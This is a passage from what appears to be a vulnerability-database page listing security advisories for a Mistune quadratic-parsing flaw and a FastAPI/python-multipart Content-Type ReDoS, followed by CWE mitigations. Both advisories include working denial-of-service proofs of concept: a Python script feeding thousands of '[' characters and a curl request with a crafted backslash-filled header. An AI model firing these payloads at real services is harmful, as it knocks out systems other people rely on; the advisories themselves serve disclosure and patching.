    "cwe_ids": [
      "CWE-400",
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T23:52:27Z",
    "nvd_published_at": "2026-06-24T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n\u00b2)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py \u2192 **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n  only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n  scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) \u00d7 O(n) = O(n\u00b2) \n  total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n\u003cimg width=\"2028\" height=\"1277\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06\" /\u003e\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n    s = \"[\" * n\n\n    t0 = time.perf_counter()\n    md(s)\n    dt = time.perf_counter() - t0\n\n    print(f\"{n:6d} {dt:.6f}\")\n```\n\u003cimg width=\"2503\" height=\"1341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e\" /\u003e\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n   100 0.001609\n   200 0.003207\n   400 0.012906\n   800 0.050220\n  1600 0.197307\n  3200 0.801172\n  6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n\u00b2) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)",
  "id": "GHSA-qcq2-496w-v96p",
  "modified": "2026-07-09T23:52:28Z",
  "published": "2026-07-09T23:52:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49851"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-49851"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492304"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " Mistune: Potential DoS via quadratic-time parsing in parse_link_text"
}

GHSA-QF9M-VFGH-M389

Vulnerability from github – Published: 2024-02-05 17:01 – Updated: 2024-02-20 18:16
VLAI
Summary
Duplicate Advisory: FastAPI Content-Type Header ReDoS
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.

Original Description

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238

PoC

Create a FastAPI app that uses form data:

# main.py
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

Then start it with:

$ uvicorn main:app

INFO:     Started server process [50601]
INFO:     Waiting for application startup.
INFO:     ASGI 'lifespan' protocol appears unsupported.
INFO:     Application startup complete.
INFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

Stopping it

Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.

To stop it, first check the process ID running Uvicorn:

$ ps -fA | grep uvicorn

  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app
  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn

In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:

$ kill -9 59461

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code: 
from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}
I'm running the above with uvicorn with the following command: 
uvicorn server:app
Then run the following cUrl command: 
curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100% You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server. If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data. Cheers #### Impact An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data. #### Occurrences [params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.109.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.109.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-05T17:01:54Z",
    "nvd_published_at": "2024-02-05T15:15:09Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\nThis is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238\n\n### PoC\n\nCreate a FastAPI app that uses form data:\n\n```Python\n# main.py\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nThen start it with:\n\n```console\n$ uvicorn main:app\n\nINFO:     Started server process [50601]\nINFO:     Waiting for application startup.\nINFO:     ASGI \u0027lifespan\u0027 protocol appears unsupported.\nINFO:     Application startup complete.\nINFO:     Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\n#### Stopping it\n\nBecause that holds the main loop consuming the CPU non-stop, it\u0027s not possible to simply kill Uvicorn with `Ctrl+C` as it can\u0027t handle the signal.\n\nTo stop it, first check the process ID running Uvicorn:\n\n```console\n$ ps -fA | grep uvicorn\n\n  501 59461 24785   0  4:28PM ttys004    0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app\n  501 59466 99935   0  4:28PM ttys010    0:00.00 grep uvicorn\n```\n\nIn this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:\n\n```console\n$ kill -9 59461\n```\n\n### Impact\n\nIt\u0027s a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name\u0027s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I\u0027m using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n    username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n    return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n    return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n    return {\"username\": item.username}\n```\n\nI\u0027m running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\nYou\u0027ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you\u0027ll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you\u0027ll see it isn\u0027t vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e",
  "id": "GHSA-qf9m-vfgh-m389",
  "modified": "2024-02-20T18:16:58Z",
  "published": "2024-02-05T17:01:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tiangolo/fastapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tiangolo/fastapi/releases/tag/0.109.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: FastAPI Content-Type Header ReDoS",
  "withdrawn": "2024-02-16T23:37:39Z"
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list